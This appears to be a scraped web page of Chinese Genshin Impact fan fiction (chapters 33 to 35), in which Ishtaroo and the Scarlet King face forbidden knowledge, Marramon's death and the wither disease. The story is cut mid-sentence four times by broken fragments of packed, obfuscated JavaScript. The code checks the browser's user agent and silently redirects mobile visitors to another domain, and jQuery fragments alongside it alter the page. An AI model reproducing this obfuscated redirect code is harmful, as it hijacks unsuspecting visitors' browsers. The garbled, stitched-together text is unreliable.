l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15975737|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
伊斯塔露的目光追随着阿赫玛尔的背影,直到再也看不见白发的神明时,她才闭上眼,勾起嘴角:
“那么,赤王大人,愿您前路顺遂。”
.
伊斯塔露不知道自己在信息流里找了多久。
满是禁忌知识的空间里没有日月的概念,伊斯塔露只记得自己在里面兜兜转转,阅读了难以计量的信息。
【你所在的世界名为「提瓦特大陆」,但它只是无数世界中微不足道的一个】
【你所看见的星空是虚假的,不要向天祈求,因为没有回应】
【凡人不要登上提瓦特的天空岛,否则必将后悔】
不是这些,伊斯塔露兀自摇了摇头,她要的不是这些。
然而在长期的阅读中,她虽然感觉不到疲惫,身体却已经不堪重负——她的思绪越来越混沌。
直到一条信息出现在她眼前。
【四大执政的力量为「人界力」,和「天理」同源,提瓦特大陆也存在其他力量】
伊斯塔露长舒了一口气,目光锁在这条信息上。
终于找到了,她要找的就是这个。
伊斯塔露几乎是一目十行地记下了这些被列为“禁忌”的知识。
【提瓦特大陆内本身存在的力量为「光界力」,来源于宇宙明光,提瓦特世上的七元素力衍生于此】
【「天理」所使用的力量为「人界力」,「生」「死」「时」「空」的权能衍生于此】
【来自提瓦特之外的、深渊的力量为「虚界力」,来源于漆*&黑....命#**运】
伊斯塔露的权能来源于「人界力」。
那么,「光界力」或者「虚界力」,伊斯塔露至少该将一种化为己用。
唯有得到不属于祂的力量,她才有站在「天理」对立面的资本。
「光界力」尚且还有别的钻研空间,但「虚界力」就相对难以触碰了。
神秘声音留下的笔记里说,「天理」降下天钉,弥补了提瓦特面对外界的所有裂缝,阻止了名为“深渊”的东西入侵提瓦特。
要接触「虚界力」,看来她还得找个机会进入深渊。
伊斯塔露如此盘算着,长舒一口气,才听到某个方向传来的、若有若无的呼喊声:
“伊斯塔露,伊斯塔露……”
声音很熟悉,她却一时没能想起来。
细细回想片刻后,伊斯塔露骤然瞪大了眼。
这个声音是阿赫玛尔的!
比起记忆里的那人,这个声音的主人却似乎孱弱得只剩下一口气,所以才这样气若游丝地呼喊她。
伊斯塔露不假思索地循着那飘渺的声音,向前方奔去。
比起担心被欺骗,她更担心只有灵魂体的阿赫玛尔真的会出事。
片刻后,伊斯塔露停下了脚步。
她看见阿赫玛尔了。
一大摊腐烂的黑泥从离她一步远的地方向前铺开,漆黑污染占据了所有前路,只有不远处尚有一抹白影——
阿赫玛尔跪坐在黑泥之中,完好的衣衫被腐蚀得所剩无几,白色的长发披散在地,英气的眉眼中写满了恐惧。
他一只手捂着被漆黑污染浸透的左眼,另一只手颤颤巍巍地伸向伊斯塔露:
“终于等到你了,伊斯塔露,救我……”
“我不要……被污染。”
33.人间一梦(三十三)
“阿赫玛尔?!”
伊斯塔露有些嫌恶地扫过漆黑的污染,随后抬起脚,打算踏入其中。
阿赫玛尔却神色骤变:
“喂,不要,别进来,你会——”
伊斯塔露却已经踏进了漆黑的泥沼。
还在咕嘟冒泡的漆黑污染令人望而却步,但似乎和普通的黑泥没什么区别,伊斯塔露蹚过了泥沼,在阿赫玛尔面前蹲下。
她拂下了阿赫玛尔遮着眼睛的手:
“阿赫玛尔,你的眼睛怎么回事?”
阿赫玛尔的手颓然落下,伊斯塔露终于看清了那只眼睛的模样。
他的眼睛已经被污染浸透,诡异的黑紫色攀上了灿金的瞳孔,血泪从他的眼角滑下。
阿赫玛尔轻轻抓住了伊斯塔露的斗篷,气若游丝。
“伊斯塔露,我知道了不该知道的禁忌,已经被污染了……”
伊斯塔露干脆利落地打断了他。
“行了,我知道了,回头再说。你自己还能走吗?”
“看样子是不能了?”
伊斯塔露无奈地呼出一口气,将阿赫玛尔的右臂架在自己肩上,费力地将人从漆黑污染中抬了起来。
她对他一身的淤泥视而不见,也没有理会他“如果会影响到你就快些离开”的劝说,只是深一脚浅一脚地带他踏出了污染。
踏出泥沼后,伊斯塔露俯下身,把阿赫玛尔放到地上,自己也索性坐在了他身边:
“赤王大人,看在我这么辛苦的份上,以后多给我发点钱吧。”
见阿赫玛尔久久没有回复,伊斯塔露伸手拨开了他的发丝,凝视着他的眼睛:
“阿赫玛尔,你在想什么?”
阿赫玛尔忽然侧目,和伊斯塔露对视,在她还未反应过来之际,阿赫玛尔神色一凛,扣住了她的手腕。
猝不及防被握住了手,伊斯塔露怔了怔。
“嗯?干什么?”
阿赫玛尔没有回答,只是眯着眼细细检查过她的每一根手指。
确信她拉起自己的手上没有沾染一丝一毫的漆黑污染后,阿赫玛尔才松开了手,长长地舒了一口气:
“真好啊,伊斯塔露,你真的没有被污染。”
伊斯塔露不自在地收回手,打量起衣衫褴褛的阿赫玛尔。
“应该是没有,所以这个‘污染’到底是什么?它的具象是你身上这些难以擦去的黑泥?”
阿赫玛尔自嘲般笑了一声,漂亮的眉眼间不见之前的英气,却多了如暮色般的怅然:
“是啊,不过就算能擦除,想来也没什么用了——这里的禁忌知识告诉我,我已经被这个污染‘标记’了。”
“我看到了我想要的知识,但它也颠覆了我对世界的认知,我们所看见的星空是假的,整个提瓦特都不过是虚假的温床……”
阿赫玛尔喃喃着,目光迷离起来,恐惧再次攀上他的眼中。
“我自诩所向披靡,也不过是虚假世界里被观测的蝼蚁……”
伊斯塔露蹙了蹙眉,伸手捂住了他的嘴:
“阿赫玛尔,别说了,回神。”
直到伊斯塔露松开手,阿赫玛尔才如梦方醒般叹了口气,继续讲述:
“在自我怀疑的瞬间,我就被这漆黑的泥沼缠上了,它不知从何处诞生,却侵蚀了我的生命,也污染了我本身——”
“我困在那潭泥沼里已经很久,直到你把我拉出来。”
阿赫玛尔仰望着头顶无数禁忌的信息流,闭上眼,自嘲地笑着:
“布耶尔说得对,终究是我太过自负,我没有接触禁忌知识的能力,才会反受其噬。”
阿赫玛尔嫌恶地擦了擦身上的黑泥,却还是徒劳无功。
“不过没有就没有吧,事到如今,畏畏缩缩也毫无意义了。”
“还不如孤注一掷,把我要的东西都带回提瓦特继续研究。”
星芒从伊斯塔露指间闪过,随后纷纷飞向阿赫玛尔,将他身上的污泥尽数荡涤。
伊斯塔露拍了拍手,却没有支持阿赫玛尔:
“你确定要继续研究?我的权能也无法抹消你受到的污染,只能暂时抑制其蔓延。”
“没关系的,伊斯塔露。”
“我大概命不久矣了,要是因为贪生而不能研究出什么,所做的一切就没有意义了。”
“伊斯塔露,你找到你想要的知识了吗?”
“找到了。”
伊斯塔露点头。
阿赫玛尔站起身,向伊斯塔露伸出手。
“那走吧,我们该回去了。”
他的眉眼依旧漂亮而锋利,银白的长发耀眼夺目,却再也没有了伊斯塔露初见他时的意气风发。
.
禁忌知识的海洋像是有生命,理解了阿赫玛尔和伊斯塔露的意图后,知识的洪流再次呼啸而来,卷着二人离开了这里。
伊斯塔露再次踏足在了沙原上,身后是缓缓闭合的黑紫色漩涡,还有随着漩涡闭合而出现在残留法阵中央的苍白美人。
伊斯塔露远远望着娜布的遗体。
姝丽美貌的花神虽然合上了双眼,嘴角却带着微笑,看上去没有一丝遗憾或是痛苦,好像只是睡着了一般。
好像伊斯塔露经历的一切,只是镜花水月、须臾之梦。
但伊斯塔露知道,花神不会死而复生,赤王也逃离不了被禁忌污染的命运。
她无奈地叹息着。
阿赫玛尔又失去了他的形体,变成了一抹苍白的幽影,他似乎看向了伊斯塔露:
“伊斯塔露,得到了你想要的知识后,你是要离开这里了吗?”
“或许是吧,”伊斯塔露望向远方漫漫黄沙,“但我或许还会留下来一段时间。”
她在这里还有一些挂念。
比如寻找被她创造出来的小风精灵,比如看望希望所有人活下来的梅丽塔蒙。
“伊斯塔露,留下吧,我只剩下你了。”
阿赫玛尔忽然开口道。
苍白的幽影晃动着,幻化成了阿赫玛尔本来的模样。
白发金眸的青年忽然转身,用哀恸的目光看着伊斯塔露,然后伸手抱住了她。
“伊斯塔露,陪我走完生命尽头的这段路吧。”
阿赫玛尔终究没有真实的躯体了,伊斯塔露也没有任何拥抱的实感。
她只能感受到阿赫玛尔的无力和悲痛。
“……好,赤王大人,我不会离开的。”
伊斯塔露拍了拍他的背,向他许下诺言。
片刻后,阿赫玛尔松开了手,后退半步。
如烈日般的青年的脸上,再也不见高傲与自负。
“娜布的遗体,我会带回‘永恒绿洲’埋葬——我带你去过的,我、娜布和布耶尔会谈的地方。”
“伊斯塔露,我在那里等你。”
阿赫玛尔发动了权能,黄沙托起娜布的遗体,跟随在他身后。
“我会来的。”
伊斯塔露则走向赤王陵下的赤沙王城。
“我打算先去看望一位故人,然后去找我那只风精灵。”
.
伊斯塔露独
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979901|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自一人回到了赤沙的王城,比起她离开时,这里的街道并没有多少变化,百姓安居乐业,来往人声喧嚣。
她轻车熟路地找到了梅丽塔蒙医馆的位置,敲响了门。
来开门的却是一名尖嘴猴腮、肤色黝黑的中年男人。
刻薄的目光在伊斯塔露身上逡巡片刻后,男人才发出一声冷哼:
“雨林来的人,敲我家的门干什么?”
伊斯塔露蹙起了眉。
这间医馆明明还是她买下来,送给梅丽塔蒙安身的。
但伊斯塔露还是耐着性子开口:
“您好,请问您知道这间屋子原本的主人梅丽塔蒙小姐去哪了吗?”
“什么梅丽塔蒙?!晦气!”
听到这四个字以后,刻薄男人的神色肉眼可见地变了,他瞪着伊斯塔露,便把门“砰”地关上了。
伊斯塔露深吸一口气,看着紧闭的木门,沉默了片刻,还是在破门而入和打探周围中选择了后者。
——她的注意力被身后一句“这王城里就没有您不知道的事”吸引了。
伊斯塔露回过头,看见身后人群里三层外三层地围成了一个圈。
人群中央是一个坐在躺椅上、留着山羊胡的耄耋老人。
面对来访者七嘴八舌的问询,老人不耐烦地挥了挥手,示意众人退开些。
而老人自己则无意识地往伊斯塔露的方向瞟了一眼。
看见伊斯塔露的模样后,老人却骤然瞪大了眼,他颤颤巍巍地从椅子上站起身,拨开围着他的人群,走向伊斯塔露。
老人端端正正地向伊斯塔露行了一礼:
“阁下看着面善,可否回答老夫一个问题?”
伊斯塔露一把扶住步履蹒跚的老人:
“呃……好,您问。”
“敢问您可是赤王大人的近臣?”
伊斯塔露回想了一下自己在阿赫玛尔那边的职务。
是什么来着?御前史官?那也算是近臣吧?
于是伊斯塔露点头称是。
不料老人却激动地颤抖起来:
“白色长发、金色眼睛的漂亮女性,还是赤王大人的心腹之臣。”
“老夫终于等到了,您就是梅丽塔蒙医生要等的人。她曾救过老夫的命,还托我带话给您。”
听到梅丽塔蒙的名字,伊斯塔露也松了口气。
真是得来全不费工夫了,听上去梅丽塔蒙还在治病救人,没出什么事。
“她为什么不自己和我说?有事不在王城么?”
那名老人摇了摇头,面露憾色。
“梅丽塔蒙医生早已死去。”
“……怎么会?”
伊斯塔露愕然。
她离开前,明明给梅丽塔蒙安排好了一切,甚至给她留了足以钻研毕生的医书。
梅丽塔蒙本该走在实现梦想的道路上才对,为何这老人不仅说她已经死去,提起她时还是这副神态?
老人摸着山羊胡,无不惋惜地回忆:
“赤王大人当年离开王城后,臣子中有人清算霍乱赤王大人的御前史官,她被指认是佞臣同党。”
“然后梅丽塔蒙医生就进了折磨人的地牢,我也没见过她了,她的医馆也被强占了。”
“听说她后来不知为何成为高官屋内的小妾,不久后就被乱棍打死,用一卷破席子埋了。”
“梅丽塔蒙医生不得善终啊。”
“但老夫知道,她明明是很好的人。”
“唉,不过老夫说的这些,也已经是一百年前的事情了。”
34.人间一梦(三十四)
“……距今已有百年?”
伊斯塔露低下头,难以置信地看着自己的手。
依旧肤色白皙,依旧五指纤长——时间从未在她身上留下丝毫的痕迹。
在她的记忆里,和梅丽塔蒙挥手告别也不过是昨天,可时间倏忽而逝,人间已过去百年。
老人的目光落在亘古不变的苍天与白云上,片刻后,他发出一声悠长的叹息。
“老夫……我认识梅丽塔蒙医生时,还是一个孩童,人们都说她性格古怪,但她治好了没人要的我,还没收我任何报酬。”
“阁下侍赤王大人左右,或许自有办法延年益寿,才忘了年岁,可我等凡人寿数有限,自然记得这些时间……”
“所幸您来了,否则等老夫寿终正寝以后,梅丽塔蒙医生的话就不知道要怎么带到了。”
伊斯塔露只是木然地询问:
“谢谢您,她有什么话要带给我?是有什么愿望需要我为她实现吗?”
“没有,她没有任何遗愿。”
老人缓缓摇头,在模糊的记忆里仔细寻找自己记了将近百年的话:
“她说,她见过属于你的风,风往北方冰原吹了,你不要丢下它。”
伊斯塔露听懂了。
梅丽塔蒙说,风精灵去北方冰原了。
“……她没有别的话了要对我说了吗?”
哪怕是怪她一句也好,伊斯塔露有些自嘲地想,毕竟是和她的关系害了梅丽塔蒙。
“没有……哦,想起来了,还有一句。”
“卡伊洛斯,人生多有遗憾,但你要好好活着,天天开心。”
老人摸了摸山羊胡,用苍老的嗓音吐出一句简短直白的话,伊斯塔露却仿佛能借此看见少女将死之际仍在轻快地向自己告别。
伊斯塔露沉默半晌,苦涩的笑意一点一点漫上金眸,她向老人躬身致谢。
“谢谢您,梅丽塔蒙死后可有坟墓?我去祭拜她。”
“正经的坟墓是没有的。梅丽塔蒙医生死于非命,无人立坟,老夫也找不到她的尸骨。”
“但老夫为她立了衣冠冢,就在西边,雨林和沙漠交界的地方……”
老人颤颤巍巍地伸出手,指着遥远的方向。
伊斯塔露向老人再三道谢后,告别了老人,出城向西而去。
一刻后。
伊斯塔露站在梅丽塔蒙的衣冠冢前,依照沙漠的传统,为她吟咏了太阳的颂歌。
祝颂的歌声飘向遥远的天边。
随后,伊斯塔露转身走向永恒绿洲的方向。
听到梅丽塔蒙突兀的死讯,伊斯塔露最初的感觉其实是茫然和无措。
从归离集到赤沙王城,她的记忆仍然只有短短一年,可她似乎已经经历了太多事情。
在她短短一年的记忆里,吴忧死了,移霄导天真君死了,归终假死了,娜布死了,梅丽塔蒙死了,风精灵去北方冰原了。
此行之后,她也无法再回到归离集和赤沙王城了。
为什么不停下时间,让自己歇歇呢?伊斯塔露问自己。
大概是她的时间过得太快,让她来不及挽留,便已经和他人告别。
百年时间,已经足够人间一句“物是人非”了,只有她仍然不变不移地见证着这一切。
时间从不讲道理,每个人都被平等地剥夺着时间,却取不回哪怕一秒。
即使是「时之执政」也不例外。
她可以倒流时间,却挽不回已经凋零的生命,也弥补不了已然过去的遗憾。
她的权能是「时间」,却也受制于「时间」。
伊斯塔露抬起头,用左手手背覆盖住了双眼,熹微日光穿透葱茏的枝叶,从指间的缝隙落入了她的眼中。
走下去吧,在漫长的时间里,见证无数的别离后,去往你想要的未来。
她如此告诉自己。
随后,她步履坚定地走向她和阿赫玛尔约定的地点——花神长眠的永恒绿洲。
.
永恒绿洲。
曾经三神聚会之处,如今已成为花神的葬身之地,林梢的风温柔地拂过树冠,带来“沙沙”的声音。
伊斯塔露踏过宛如镜面的湖面,在湖心的小岛上见到了等候多时的阿赫玛尔,还有许许多多的镇灵——娜布的眷属。
“伊斯塔露,你来了。”
阿赫玛尔眉眼依旧带着哀恸,看到她后倒是温和了些许。
“嗯。”
伊斯塔露坐在了原本属于娜布的木椅上,垂眸拨弄这新生的绿植:
“娜布已经在这里了吗,阿赫玛尔?”
“是啊。”
阿赫玛尔倚靠着岛上古树的树,清风温和地拂过他的白发。
“她在这里睡着了。”
“希望不要有什么来打扰她。”
伊斯塔露沉吟片刻,抬起手,任由许多闪烁的星屑从她指间飞出,缓缓围绕了整个永恒绿洲。
星屑落下之处,方圆数里的时间都为止停滞。
这里没有风声,没有花开花落,只有亘古不变的光景,和永恒长眠的花神。
伊斯塔露收回了手。
在美丽的树海中,她令时间静止,见证花神最绚烂的终焉,这是伊斯塔露给娜布的礼物。
始终跟在阿赫玛尔身后的镇灵却骚动片刻,其中一只向前飘了些:
“沙海的王啊,当着这位女主人贵宾的面,请您回答我——”
“您说我们的女主人沉眠于此,若我们想寻回女主人,便将真名献与您,此话是真是假?”
听见镇灵期冀的话语,伊斯塔露神色一凛,打了个响指,漂浮在阿赫玛尔身后的镇灵们顿时僵在半空中。
在静止的时间里,只有伊斯塔露和阿赫玛尔尚能言语。
随后,伊斯塔露侧头注视神态自若的阿赫玛尔:
“阿赫玛尔,你欺骗了它们。”
“你和我都是亲眼见证娜布死去的,怎么可能还能找回她?”
“是,娜布的确已经死去,但我想利用从那通道中带出的禁忌知识,复活她。”
“……阿赫玛尔,你知不知道自己在做什么?”
伊斯塔露的神色难得锋利起来。
或许是因为她的权能与「生」「死」等重,伊斯塔露即使想不计代价地阻止死亡,也从未想过将人死而复生。
毕竟生死从不能轻易实现。
阿赫玛尔似乎有些难以直面伊斯塔露的质问,他垂下眼帘:
“在你到达这里之前,我也回了王城,安排了日后的事务。”
“这段时间里,我驱逐了所有逐鹿的魔神,我要离开时,羊之王、鹮之王和鳄之王向我进谏。”
“我否决了前两人让我和布耶尔相争的建议,唯独同意了鳄之王的话。”
“他说,若要唤回逝去的生命,迎回失去的机会与梦想,这是最后的良机。”
“愈多权力,愈多空虚;多有智慧,则多有忧伤。”
“相比妄想的虚空,只有再度复活、永生不死的生命,才能弥补无底的悔恨。”
“……至少娜布不应该为我的狂妄而死。”
自从阅读了禁忌知识,阿赫玛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004458|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尔终于承认了自己的高傲,却也变得更加脆弱和偏执。
他想从支离破碎的过去抓住些什么。
伊斯塔露还记得娜布告诉她,要“走向未来”,她微微俯身,直视阿赫玛尔垂下的金眸:
“阿赫玛尔,如果娜布尚未死去,我的权能可以治愈她的创伤。”
“但死而复生……你阅读过禁忌知识,想必清楚,这涉及「生」「死」执政的权能,对你来说同样是不可触碰的禁忌。”
“何况娜布死得心甘情愿,她未必想继续活着,尊重她,阿赫玛尔。”
“我知道啊……”
阿赫玛尔喃喃着,金眸黯然。
“可我完成不了她的遗愿啊,我已经失去了直面虚假星空和「天理」的勇气。”
“既然我完成不了,至少让娜布自己见证愿望实现吧。”
“至少在我死之前,我想复活娜布,然后创造出我许诺子民的黄金梦乡。”
阿赫玛尔闭上了眼。
“……好了,阿赫玛尔,虽然我不赞同你的想法,但在我面前,就别演你的苦情戏了。”
伊斯塔露最后只是拍了拍他的肩。
“去做你想做的事情吧,我给你兜底就是了。”
阿赫玛尔骤然睁开眼,便看见伊斯塔露看着他笑了笑。
疏淡闲散的神女在日光熹微下,眉眼难得温柔些许。
“唉,别硬扛了,去吧。和娜布一样就好,死前不要让自己后悔。”
“如果有大事我会喊你的。”
阿赫玛尔有些怔愣地和伊斯塔露对视,直到她狐疑地伸手在他眼前晃了晃,他才笑出了声。
“谢谢你,伊斯塔露。”
阿赫玛尔伸出手,一把长杖出现在他手中,并被他递给伊斯塔露:
“赤沙之杖本有一对,见此权杖,便如见我。”
“一柄是我平常使用的,另一柄交给你,希望我不在的日子里,你在我的王国能过得自由些。”
见伊斯塔露没有回答,阿赫玛尔甚至笑着调侃她:
“发什么呆,伊斯塔露大人?”
“赤王大人,你这话就很让我惶恐了。”
伊斯塔露回过神来,她挑起眉,还是接过了另一柄赤沙之杖。
随后,她向阿赫玛尔告别,先一步离开了永恒绿洲。
“再会,阿赫玛尔,愿你能找到你所寻求的黄金梦乡。”
阿赫玛尔目送她远去,轻声道:
“再会,伊斯塔露。”
.
伊斯塔露又在沙漠留了两百年。
这两百年里,她见证了镇灵利露帕尔被阿赫玛尔派出,利露帕尔化成人形,扶持牧羊人奥尔玛兹登上王位。
见证了新王背叛利露帕尔,被复仇心切的镇灵祸及三代,王权颠覆。
见证了因此事出关的阿赫玛尔为臣民痛心疾首,将利露帕尔的灵魂切成七片。
直到某种诡异的疾病肆虐,她再次推开了阿赫玛尔研究禁忌知识的密室大门:
“阿赫玛尔,一种名为‘魔鳞病’的病症在沙漠肆虐,你或许该出去看看了。”
阿赫玛尔从古老符文的投影中抬起头,几乎是一眼就看出了伊斯塔露的欲言又止:
“还有什么要说?伊斯塔露?”
伊斯塔露叹了口气,才缓缓道:
“……魔鳞病或许是禁忌知识污染人类的具象化。”
当年接触禁忌知识的只有她和阿赫玛尔,伊斯塔露本人并不受禁忌知识的影响。
禁忌知识的污染来源于谁,不言而喻。
35.人间一梦(三十五)
阿赫玛尔垂眸不语,只是从桌边站起身,披在青年身上的白色披风被来自外界的风扬起。
“带我出去看看吧,伊斯塔露。”
“嗯,好。”
伊斯塔露点了点头,没有多说,只是带着他离开了无人打扰的密室,来到了沙漠子民新的王城——居尔城。
这是镇灵利露帕尔曾辅佐的牧羊人创立的王城,坐落永恒绿洲附近。
人类创立的王国虽然也算有模有样,但终究不复赤王亲自统治时的繁华。
——何况如今正逢魔鳞病肆虐。
伊斯塔露和阿赫玛尔并肩走在居尔城的街道上,只见来往行人皆行色匆匆,大部分人还用宽大的兜帽捂着口鼻。
和闲庭信步的二人显得格格不入。
走到一间飘着药香的医馆外,伊斯塔露停下脚步,指了指屋内,与眉头紧锁的阿赫玛尔对视:
“进去看看吧,阿赫玛尔。”
白发金眸的青年沉默地点头,先她一步推开半掩的门,跨过门槛,进入空间狭小的医馆中。
伊斯塔露紧随其后,却因为阿赫玛尔忽然后退半步,险些撞上他的脊背:
“……阿赫玛尔,你看见什么了?”
赤王震惊而悲悯地看着在病床上辗转哀嚎的人们。
阿赫玛尔从未见过如此惨状。
当初处理平民叛乱时的景象比之现在,几乎可以说是不值一提。
仅能容纳七八人的医馆内,半人长的床榻连成一片,两名包裹严实的人在床榻间转来转去,畏惧又厌恶地应付床榻上的十数名病人。
病患神志不清时的哀嚎声在狭小的屋中此起彼伏:
“赤王大人在上,保佑我活下去,我的女儿还在等我回家!”
“我不要死,我不想死,我不想,我不……我其实快死了吧……”
“有什么东西在我脑子里说话,它……它要我去死……我不要,我不要……”
“是谁带来的绝症,是谁?!我要把他,我要把他千刀万剐!”
眼前每一幅生灵涂炭的景象,都在刺痛阿赫玛尔的眼睛。
所向披靡、战无不胜的赤王在子民的哀嚎声中不断颤抖着。
他第一次觉得无力。
因为伊斯塔露说,魔鳞病的根源可能是他带来的禁忌知识。
伊斯塔露站在阿赫玛尔的身边,怜悯而沉默地将一切收入眼中。
即使已经过去三百年,伊斯塔露也还记得,当年梅丽塔蒙把一包药分成了二十四份,想要吊住其他人的命。
而如今,二十四包药也无法从魔鳞病手下拯救哪怕一条生命。
应付完其中一个病人后,其中一个包裹严实的人终于在百忙之中抬起头:
“抱歉,这里病患已经满了,另寻他处吧。”
那人本要摆出赶客的态度,看清阿赫玛尔的容貌后,却生生停住了脚步,他痴痴地注视着白发金眸的神明:
“白色长发,金色眼睛,手握名为‘赤沙’的长杖,古铜肤色的白袍男人,赤王大人,是国王要求我们祭拜的赤王大人!”
那人压抑不住自己的惊喜,在屋内大喊起来:
“赤王大人真的存在!赤王大人来巡视民间了!他看见了我们的痛苦,他会拯救我们的!”
甚至在床榻上痛苦不已的病人,也有些生生忍住了病痛的折磨,机械地抬起头,往阿赫玛尔的方向投去期冀的目光。
背光而立的阿赫玛尔垂着眼帘,一言不发,咬紧了后槽牙。
落在他身上的目光越来越多,最后,还是伊斯塔露拉着他,逃一般离开了医馆。
直到回到研究禁忌知识的密室,阿赫玛尔都一言不发。
他疯狂地翻阅着密室中的古籍,像是要抓住最后一根救命稻草。
伊斯塔露颇有默契地没有询问,只是帮他整理出了所有有关禁忌污染的文献。
片刻后,阿赫玛尔将其中一卷古籍“啪”地拍在桌上,抬手摁着自己的前额,失神地喃喃着:
“被禁忌知识的污染‘标记’后,污染会借标记者蔓延开,只要沾染过污染,便会传播给其他人……”
“所以……这一切,都是我带来的?”
“我为我的子民带来了世界之外的禁忌,还有无法治愈的疾病?”
阿赫玛尔像是将要溺亡的人,费尽最后的力气,抓住了伊斯塔露的斗篷一角。
他的眼中满是绝望。
“伊斯塔露,我到底在追求什么?我害了多少人?”
“我是不是应该……以死谢罪?”
伊斯塔露任由他抓着自己的斗篷,把左手按在他肩上:
“阿赫玛尔,冷静点,听我说。”
“自从魔鳞病爆发开始,我就有在想办法了。”
“我用「时间」的权能控制了疾病的蔓延,虽然无法根除,但能争取到解决问题的时间。”
“「时间」的静止无法挽回过去、逆转生死,但能令人留在当下。”
“所以比起为过去悔恨,更重要的也是如何解决当下的魔鳞病。”
阿赫玛尔似乎想说什么,最后,他却未置一词,只是浅浅吸了口气。
他重新在桌边落座,一目十行地重新扫过每一本古籍。
伊斯塔露坐在一边,支着下巴,等待着他做出决定。
许久之后,阿赫玛尔推开了眼前的羊皮卷,站起身,推开了密室门。
他迎着朗朗天光,回头向伊斯塔露伸出手:
“伊斯塔露,我要去找布耶尔,你要一起来吗?”
伊斯塔露从桌边站起身。
“布耶尔?你去找她做什么?”
“去求她。”
阿赫玛尔迎着天光,缓缓合上了灿烂的金眸。
“求她念及旧友之情,或是为了娜布,帮我抹除这为祸苍生的禁忌污染。”
高傲如阿赫玛尔,终于为了拯救被病痛折磨的人类,选择了哀求已经陌路的旧友。
“嗯,好,我和你一起去。”
伊斯塔露没有为此叹息,她只是如她许诺的那样,陪着阿赫玛尔走完最后一程。
阿赫玛尔的结局,居尔城的魔鳞病,都在那本笔记中有所记载。
自得知梅丽塔蒙的死讯起,她在居尔城度过了整整两百年——伊斯塔露在数年的沉思后,终于也有了如今的淡然。
她可以坦然接受离别,却也依旧选择不遗余力救所有人。
.
央陆,雨林地带。
属于大慈树王的白塔中,白衣的神女屏退了追随她的所有人,等待着故友的来访。
一刻钟前,飞鸟传来阿赫玛尔写给她的信函。
信中没有说他为何而来,力道遒劲的文字只说,希望布耶尔念及那位共同的挚友,见他一面。
自从世界边境一别,布耶尔对阿赫玛尔的所作所为也有所耳闻,至今,她仍不认可他执着而狂
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013950|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妄的追求,所以才会与他分道扬镳。
但她依然承认那份故人之情。
不久后,白袍白发的故人从远方赶来,跟在他身后的是白发金眸、神色疏淡的神女。
卡伊洛斯,布耶尔记得她,花神娜布的救命恩人,也是推动娜布走向死亡的关键。
伊斯塔露和布耶尔没什么交情,甚至因为娜布的死,两人之间更是难免有嫌隙,简单点头致意后便各自别开了目光。
“阿赫玛尔,忽然来找我,有什么事吗?”
即使说出了旧友殊途的话,布耶尔在面对他时,仍然温柔而包容。
阿赫玛尔垂下眼帘,没有马上回答她。
随后,他将赤沙之杖立在地面,垂下头,缓缓曲起了自己的右膝,向布耶尔单膝下跪。
阿赫玛尔的脊背笔直,言语却庄重而肃穆:
“布耶尔,我研究禁忌知识,犹如饮毒,如今毒发身亡,亦不足惜。”
“唯独我服下的毒,不应该留在这个世界……”
“你是否能念及旧友之情……就算,不是为了我,也没关系。为了我们共同的挚友,最后帮我一个忙……”
“布耶尔,我在此恳求你,帮我抹消禁忌知识,救救沙漠的人类。”
布耶尔毫不犹豫地躬身,扶起了阿赫玛尔:
“好,阿赫玛尔,我答应你。”
讶异几乎是写在阿赫玛尔脸上。
毕竟他的托付并非轻而易举能够实现,谁也不知道会付出什么代价。
可布耶尔依旧毫不犹豫地向他许诺了。
“阿赫玛尔,我与你一样,亦不愿看到生灵涂炭。”
布耶尔提起裙摆,向阿赫玛尔点头致意。
“谢谢你,布耶尔。”
阿赫玛尔站起身,漂亮而英气的眉眼间已经见不到先前的悔恨,只见庄重肃穆。
“最后的愿望么……唉。”
“阿赫玛尔,再见。”
温柔而聪慧的大慈树王最后什么都没有问,只是笑着向辞别的阿赫玛尔挥了挥手。
伊斯塔露跟着阿赫玛尔离开了雨林的白塔,一直陪他走到了居尔城外,本想拉住他,指间却碰不到有实感的血肉。
她几乎忘了,阿赫玛尔为了研究禁忌知识,已经抛弃了自己的形体。
伊斯塔露叹息着,问身边的白发青年:
“阿赫玛尔,你是准备……牺牲自己吗?”
“算不上牺牲,”阿赫玛尔摇了摇头,“为我所做的一切负责而已。”
“你很难过吗?”
阿赫玛尔看见伊斯塔露一反常态地沉默,便无奈地笑了一声:
“没有关系啊,我对自己的失败早就做好了准备。”
